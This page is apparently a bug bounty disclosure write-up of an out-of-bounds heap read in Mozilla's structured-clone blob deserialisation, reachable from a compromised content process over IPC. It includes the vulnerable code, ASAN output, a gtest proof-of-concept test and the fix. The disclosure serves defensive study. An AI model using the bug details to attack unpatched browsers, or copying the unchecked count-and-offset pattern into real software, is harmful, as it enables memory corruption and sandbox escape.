StructuredCloneBlob OOB Heap Read via Crafted blobCount
A structured-clone deserialisation routine trusted an attacker-supplied blob count and offset from the serialised buffer, then copied that many elements from a raw pointer without checking the source array length. A compromised content process could send a crafted IPC message that made the parent process read past the end of a heap array, treating out-of-bounds values as reference-counted pointers.
Originally disclosed on Mozilla
- Fixed in 36 hours
- Paid in 7 days
- Disclosed after 36 hours
Compromised content process -> parent process via ContentParent::RecvAsyncMessage.
StructuredCloneBlob::Holder::ReadStructuredCloneInternal (StructuredCloneBlob.cpp:176) reads blobOffset and blobCount from the attacker-controlled StructuredClone buffer, then calls BlobImpls().AppendElements(&aHolder->BlobImpls()[blobOffset], blobCount). The AppendElements(const T*, size_type) overload takes a raw pointer and copies blobCount elements via std::uninitialized_copy with no source bounds checking. No release-build validation exists; the #ifdef FUZZING guard only checks blobOffset, not blobOffset + blobCount.
SCTAG_DOM_STRUCTURED_CLONE_HOLDER (StructuredCloneHolder.cpp:1121) has no CloneScope() == SameProcess guard, unlike SCTAG_DOM_IMAGEBITMAP at line 1105. So it's reachable from cross-process (IPC) scope.
The Bug
StructuredCloneBlob.cpp:165-177:
uint32_t blobOffset;
uint32_t blobCount;
if (!JS_ReadUint32Pair(aReader, &blobOffset, &blobCount)) {
return false;
}
if (blobCount) {
#ifdef FUZZING
if (blobOffset >= aHolder->BlobImpls().Length()) { // incomplete even when present
return false;
}
#endif
BlobImpls().AppendElements(&aHolder->BlobImpls()[blobOffset], blobCount); // OOB
}
With 1 blob in the IPC message and blobCount=100: AppendElements reads 99 elements past the 1-element array. Each 8-byte OOB value is treated as a RefPtr<BlobImpl>, and the copy constructor calls AddRef() on non-null values, which dereferences garbage heap pointers.
ASAN Proof
SUMMARY: AddressSanitizer: heap-buffer-overflow (XUL:arm64+0x1b3128)
in nsTArray_Impl::AppendElementsInternal
0x6020002278e0 is located 0 bytes after 16-byte region
[0x6020002278d0,0x6020002278e0)
PoC
dom/base/test/gtest/TestStructuredCloneBlobOOB.cpp:
/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#include "gtest/gtest.h"
#include "nsTArray.h"
#include "nsISupportsImpl.h"
#include "mozilla/RefPtr.h"
namespace {
class SimpleRefCounted {
public:
NS_INLINE_DECL_REFCOUNTING(SimpleRefCounted)
uint64_t mData = 0;
private:
~SimpleRefCounted() = default;
};
} // namespace
TEST(StructuredCloneBlobOOB, AppendElementsOOBRead)
{
nsTArray<uint64_t> sourceArray;
sourceArray.AppendElement(0xDEADBEEFCAFEBABEULL);
ASSERT_EQ(sourceArray.Length(), 1u);
uint32_t blobOffset = 0;
uint32_t blobCount = 16; // only 1 element, reading 16
ASSERT_LT(blobOffset, sourceArray.Length());
// ASAN: heap-buffer-overflow READ
nsTArray<uint64_t> destArray;
destArray.AppendElements(&sourceArray[blobOffset], blobCount);
ASSERT_EQ(destArray[0], 0xDEADBEEFCAFEBABEULL);
ASSERT_EQ(destArray.Length(), (uint32_t)blobCount);
}
TEST(StructuredCloneBlobOOB, DISABLED_RefPtrAddRefOnGarbage)
{
nsTArray<RefPtr<SimpleRefCounted>> sourceArray;
sourceArray.AppendElement(MakeRefPtr<SimpleRefCounted>());
ASSERT_EQ(sourceArray.Length(), 1u);
uint32_t blobOffset = 0;
uint32_t blobCount = 4;
// ASAN: heap-buffer-overflow READ (before the AddRef crash)
nsTArray<RefPtr<SimpleRefCounted>> destArray;
destArray.AppendElements(&sourceArray[blobOffset], blobCount);
}
TEST(StructuredCloneBlobOOB, ExactCountNoOverflow)
{
nsTArray<uint64_t> sourceArray;
sourceArray.AppendElement(0x1111111111111111ULL);
sourceArray.AppendElement(0x2222222222222222ULL);
sourceArray.AppendElement(0x3333333333333333ULL);
uint32_t blobOffset = 1;
uint32_t blobCount = 2;
nsTArray<uint64_t> destArray;
destArray.AppendElements(&sourceArray[blobOffset], blobCount);
ASSERT_EQ(destArray.Length(), 2u);
ASSERT_EQ(destArray[0], 0x2222222222222222ULL);
ASSERT_EQ(destArray[1], 0x3333333333333333ULL);
}
Run: ./mach gtest "StructuredCloneBlobOOB.AppendElementsOOBRead"
Fix
Add bounds validation:
if (blobCount) {
if (blobOffset >= aHolder->BlobImpls().Length() ||
blobCount > aHolder->BlobImpls().Length() - blobOffset) {
return false;
}
BlobImpls().AppendElements(&aHolder->BlobImpls()[blobOffset], blobCount);
}
Also add a CloneScope() == SameProcess guard for SCTAG_DOM_STRUCTURED_CLONE_HOLDER in StructuredCloneHolder.cpp:1121.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The deserialiser used an attacker-controlled count and offset to copy from a raw pointer into an array without validating that offset plus count stayed within the source array's length.
Impact
A compromised content process could cause the parent process to read out of bounds and dereference garbage pointers, which the report shows as a sanitiser-detected heap overflow and a potential crash; the text does not claim a full exploit.
What the attacker needed
Compromised content process; crafted structured-clone IPC message
The fix
The code should validate that the offset is within the array and that the count does not exceed the remaining length, and should also restrict the holder tag to same-process clone scope.
How it was found
- Build the browser with the gtest harness and run the out-of-bounds read test.
- Create a source array holding a single element.
- Set the offset to zero and the count to a value larger than the array length.
- Call the append-elements routine with the raw pointer and the oversized count.
- Observe the heap-buffer-overflow read reported by the sanitiser.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When two parts of a browser talk to each other, they send packed data that the receiver unpacks. Here the unpacking code read a number from that data saying how many items to copy, but never checked that the sender's list actually had that many items. So it copied extra items from memory beyond the list, and because those items are treated as pointers to objects, the program could crash or misbehave.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.